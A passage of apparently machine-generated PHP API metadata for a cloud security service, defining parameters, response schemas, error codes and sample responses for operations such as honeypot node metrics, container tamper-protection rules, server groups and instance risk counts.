{\\n \\"ClassKey\\": \\"password\\",\\n \\"ClassName\\": \\"password\\",\\n \\"RuleList\\": [\\n {\\n \\"RuleKey\\": \\"huaweicloud_ak\\",\\n \\"RuleName\\": \\"huaweicloud_ak\\",\\n \\"Selected\\": true\\n }\\n ]\\n }\\n ],\\n \\"EnableNewRule\\": 0\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\"\\n}","type":"json"}]', 'title' => 'GetSensitiveDefineRuleConfig', ], 'GetHoneypotNodeMetricList' => [ 'summary' => 'Queries the monitoring data of management nodes to which the cloud honeypot belongs.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', ], 'parameters' => [ [ 'name' => 'NodeId', 'in' => 'query', 'schema' => [ 'title' => '管理节点id', 'description' => 'The management node ID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cc427e14-f257-4670-9d2b-d83bbbe7****', ], ], [ 'name' => 'Express', 'in' => 'query', 'schema' => [ 'description' => 'The expression that is used to compute the query results in real time.'."\n" ."\n" .'> Only the groupby expression is supported. This expression is similar to the GROUP BY statement that applies to databases.'."\n", 'type' => 'string', 'required' => false, 'example' => '{"groupby":["userId","instanceId"]}', ], ], [ 'name' => 'StartTime', 'in' => 'query', 'schema' => [ 'description' => 'The beginning of the time range to query. The following formats are supported:'."\n" ."\n" .'* UNIX timestamp: the number of milliseconds that have elapsed since January 1, 1970, 00:00:00 UTC'."\n" .'* Date format: YYYY-MM-DDThh:mm:ssZ'."\n" .'* The interval between the start time and the end time is less than or equal to 31 days.'."\n", 'type' => 'string', 'required' => false, 'example' => '2019-01-30 00:00:00'."\n", ], ], [ 'name' => 'MetricName', 'in' => 'query', 'schema' => [ 'description' => 'The metric that is used to monitor the cloud service.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cpu_total', ], ], [ 'name' => 'Period', 'in' => 'query', 'schema' => [ 'description' => 'The time interval. Unit: seconds. Valid values: 60, 300, and 900.'."\n", 'type' => 'string', 'required' => false, 'example' => '60', ], ], [ 'name' => 'Length', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n" ."\n" .'> The maximum value of the Length parameter in a request is 1440.'."\n", 'type' => 'string', 'required' => false, 'example' => '100', ], ], [ 'name' => 'EndTime', 'in' => 'query', 'schema' => [ 'description' => 'The end of the time range to query. Valid values:'."\n" ."\n" .'* UNIX timestamp: the number of milliseconds that have elapsed since January 1, 1970, 00:00:00 UTC'."\n" .'* Date format: YYYY-MM-DDThh:mm:ssZ'."\n", 'type' => 'string', 'required' => false, 'example' => '2019-01-30 00:10:00'."\n", ], ], [ 'name' => 'Namespace', 'in' => 'query', 'schema' => [ 'description' => 'The namespace of the cloud service. Format: acs_cloud service name.'."\n", 'type' => 'string', 'required' => false, 'example' => 'acs_ecs_dashboard', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The monitoring data.'."\n", 'type' => 'string', 'example' => '{'."\n" .' "code": "200",'."\n" .' "datapoints": "[{\\"timestamp\\":1698375060000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":67084.0,\\"Maximum\\":67084.0,\\"Average\\":67084.0},{\\"timestamp\\":1698375120000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":63704.0,\\"Maximum\\":63704.0,\\"Average\\":63704.0},{\\"timestamp\\":1698375180000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":67624.0,\\"Maximum\\":67624.0,\\"Average\\":67624.0},{\\"timestamp\\":1698375240000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":68432.0,\\"Maximum\\":68432.0,\\"Average\\":68432.0},{\\"timestamp\\":1698375300000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":70148.0,\\"Maximum\\":70148.0,\\"Average\\":70148.0},{\\"timestamp\\":1698375360000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":63612.0,\\"Maximum\\":63612.0,\\"Average\\":63612.0},{\\"timestamp\\":1698375420000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":68032.0,\\"Maximum\\":68032.0,\\"Average\\":68032.0},{\\"timestamp\\":1698375480000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":67400.0,\\"Maximum\\":67400.0,\\"Average\\":67400.0},{\\"timestamp\\":1698375540000,\\"instanceId\\":\\"i-bp18jn50nid83nsu****\\",\\"ip\\":\\"1.1.1.1\\",\\"userId\\":\\"132776878515****\\",\\"Minimum\\":65352.0,\\"Maximum\\":65352.0,\\"Average\\":65352.0}]",'."\n" .' "period": "60",'."\n" .' "requestId": "AFE33E4E-70A3-5BAE-AEA8-4D3BF3A75067",'."\n" .' "success": true'."\n" .'}', ], 'RequestId' => [ 'description' => 'The request ID, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '48F523DA-4C7E-5417-B872-E313E5A4****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], [ 'errorCode' => 'NodeNotExist', 'errorMessage' => 'The control node does not exist.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"{\\\\n \\\\\\"code\\\\\\": \\\\\\"200\\\\\\",\\\\n \\\\\\"datapoints\\\\\\": \\\\\\"[{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375060000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":67084.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":67084.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":67084.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375120000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":63704.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":63704.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":63704.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375180000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":67624.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":67624.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":67624.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375240000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":68432.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":68432.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":68432.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375300000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":70148.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":70148.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":70148.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375360000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":63612.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":63612.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":63612.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375420000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":68032.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":68032.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":68032.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375480000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":67400.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":67400.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":67400.0},{\\\\\\\\\\\\\\"timestamp\\\\\\\\\\\\\\":1698375540000,\\\\\\\\\\\\\\"instanceId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"i-bp18jn50nid83nsu****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"1.1.1.1\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"userId\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"132776878515****\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"Minimum\\\\\\\\\\\\\\":65352.0,\\\\\\\\\\\\\\"Maximum\\\\\\\\\\\\\\":65352.0,\\\\\\\\\\\\\\"Average\\\\\\\\\\\\\\":65352.0}]\\\\\\",\\\\n \\\\\\"period\\\\\\": \\\\\\"60\\\\\\",\\\\n \\\\\\"requestId\\\\\\": \\\\\\"AFE33E4E-70A3-5BAE-AEA8-4D3BF3A75067\\\\\\",\\\\n \\\\\\"success\\\\\\": true\\\\n}\\",\\n \\"RequestId\\": \\"48F523DA-4C7E-5417-B872-E313E5A4****\\"\\n}","type":"json"}]', 'title' => 'GetHoneypotNodeMetricList', ], 'GetAegisContainerPluginRuleCriteria' => [ 'summary' => 'Queries search conditions that can be used to search for container file protection rules.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '152415', 'abilityTreeNodes' => [ 'FEATUREsasZLVTBH', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The value of the search condition.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ss', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'DA8133CC-CCA0-5CF2-BF64-FE7D52C44***', ], 'CriteriaList' => [ 'description' => 'The information about the search condition.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: The search condition needs to be specified.'."\n" .'* **select**: The search condition is an option that can be selected from the drop-down list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the search condition. Valid values:'."\n" ."\n" .'* **instanceId**: the ID of the container instance.'."\n" .'* **clusterId**: the cluster ID.'."\n" .'* **regionId**: the ID of the region in which the container resides.'."\n" .'* **clusterName**: the name of the cluster.'."\n" .'* **clusterType**: the type of the cluster.'."\n" .'* **hostIp**: the public IP address.'."\n" .'* **pod**: the pod.'."\n" .'* **podIp**: the IP address of the pod.'."\n" .'* **containerId**: the container ID.'."\n" .'* **containerScope**: the type of the container.'."\n", 'type' => 'string', 'example' => 'containerScope', ], 'Values' => [ 'description' => 'The values.'."\n", 'type' => 'string', 'example' => 'NO,YES', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DA8133CC-CCA0-5CF2-BF64-FE7D52C44***\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"containerScope\\",\\n \\"Values\\": \\"NO,YES\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetAegisContainerPluginRuleCriteria', ], 'OperateApplication' => [ 'summary' => 'Adds or deletes container applications for tamper proofing.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'RuleId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the rule.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '300566', ], ], [ 'name' => 'ContainerWebDefenseApplicationDTOS', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The container application that is protected from being tampered with.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'ClusterId' => [ 'description' => 'The ID of the cluster to which the container belongs.'."\n" ."\n" .'> You can call the [DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~) operation to query the cluster ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ceb68cc58234141828677e383bd21ff0c', ], 'Tag' => [ 'description' => 'The value of the application tag.'."\n", 'type' => 'string', 'required' => true, 'example' => 'app:app-003', ], 'Flag' => [ 'description' => 'Specifies whether to apply the configuration to the asset. Valid values:'."\n" ."\n" .'* **add**: applied'."\n" .'* **del**: not applied'."\n", 'type' => 'string', 'required' => true, 'example' => 'add', ], 'Id' => [ 'description' => 'The application ID. If the application is newly added, you do not need to specify this parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '196', ], ], 'required' => false, ], 'required' => true, 'maxItems' => 10, 'minItems' => 1, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '79B067A4-54EB-5560-B5C8-425ABEDC2784', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"79B067A4-54EB-5560-B5C8-425ABEDC2784\\"\\n}","type":"json"}]', 'title' => 'OperateApplication', ], 'GetSasContainerWebDefenseRuleCriteria' => [ 'summary' => 'Queries search conditions that can be used to search for container file protection rules.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '166839', 'abilityTreeNodes' => [ 'FEATUREsasA0IBMB', ], ], 'parameters' => [ [ 'name' => 'Value', 'in' => 'query', 'schema' => [ 'description' => 'The value of the search condition. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '525', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'CriteriaList' => [ 'description' => 'The search conditions.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the search condition. Valid values:'."\n" ."\n" .'* **input**: You must manually enter the search condition.'."\n" .'* **select**: You must select a search condition from the **Values** drop-down list.'."\n", 'type' => 'string', 'example' => 'select', ], 'Name' => [ 'description' => 'The name of the search condition.'."\n", 'type' => 'string', 'example' => 'name', ], 'Values' => [ 'description' => 'The values of the search condition. This parameter is returned only if the value of **Type** is **select**.'."\n" ."\n" .'> If the value of **Type** is **input**, the value of this parameter is empty.'."\n", 'type' => 'string', 'example' => 'athor_bid', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => '-100', 'errorMessage' => 'The service is unavailable, please try again later.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"select\\",\\n \\"Name\\": \\"name\\",\\n \\"Values\\": \\"athor_bid\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'GetSasContainerWebDefenseRuleCriteria', ], 'DescribeContainerApps' => [ 'summary' => 'Queries the information about a containerized application.', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '166814', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The application value that you want to query. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cas-adad-qeqwe', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '200', ], ], [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ca0a686115432429ca26cf780f5e9fff5', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], 'TagValues' => [ 'description' => 'The tag values.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The tag value.'."\n", 'type' => 'string', 'example' => 'node-exporter'."\n", ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"TagValues\\": [\\n \\"node-exporter\\\\n\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeContainerApps', ], 'ListGroups' => [ 'summary' => 'Queries the server groups.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas36IOGX', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number. Pages start from page 1. Default value: 1.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '89', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: 20. Maximum value: 2000.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'NextToken', 'in' => 'query', 'schema' => [ 'description' => 'The pagination token that is used in the next request to retrieve a new page of results. If the return value of NextToken is empty, no next query is to be sent. If a value of NextToken is returned, the value indicates the token that is used for the next query.'."\n", 'type' => 'string', 'required' => false, 'example' => '1426C575705AE8545E8360A6EFA3B***', ], ], [ 'name' => 'UseNextToken', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to use NextToken to query vulnerabilities. If you set this parameter to true, TotalCount is not returned. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PageResult', 'description' => 'PageResult'."\n", 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'The groups.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'GroupId' => [ 'description' => 'The server group ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '11028542', ], 'GroupName' => [ 'description' => 'The server group name.'."\n", 'type' => 'string', 'example' => 'cn-shenzhen+dir-1440978***', ], 'GroupFlag' => [ 'description' => 'The server group type. Valid values:'."\n" ."\n" .'* **0**: default group'."\n" .'* **1**: other group'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '202', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '4', ], 'NextToken' => [ 'description' => 'A pagination token. It can be used in the next request to retrieve a new page of results.'."\n", 'type' => 'string', 'example' => 'B604532DEF982B875E8360A6EFA3B***', ], ], ], 'Success' => [ 'description' => 'Indicates whether exceptions are handled. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CB414DB5-F692-5DAB-9F0F-975C060AF***', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"GroupId\\": 11028542,\\n \\"GroupName\\": \\"cn-shenzhen+dir-1440978***\\",\\n \\"GroupFlag\\": 1\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 202,\\n \\"Count\\": 4,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"CB414DB5-F692-5DAB-9F0F-975C060AF***\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', 'title' => 'ListGroups', ], 'ListInstanceRiskNum' => [ 'summary' => 'Queries the statistics about risks in instances.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', ], 'parameters' => [ [ 'name' => 'InstanceList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'title' => '实例列表', 'description' => 'The instances.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Uuid' => [ 'title' => '实例SerialNumber', 'description' => 'The UUID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', ], 'InstanceId' => [ 'title' => '实例ID', 'description' => 'The ID of the instance.'."\n", 'type' => 'string', 'required' => false, 'example' => 'i-wz9fdluqx20mp2x7****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'ListResult', 'description' => 'ListResult'."\n", 'type' => 'object', 'properties' => [ 'InstanceRiskNum' => [ 'description' => 'The information about the risks in the instance.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'InstanceItem' => [ 'title' => '实例信息', 'description' => 'The information about the instance.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'title' => '实例SerialNumber', 'description' => 'The UUID of the instance.'."\n", 'type' => 'string', 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', ], 'InstanceId' => [ 'title' => '实例ID', 'description' => 'The ID of 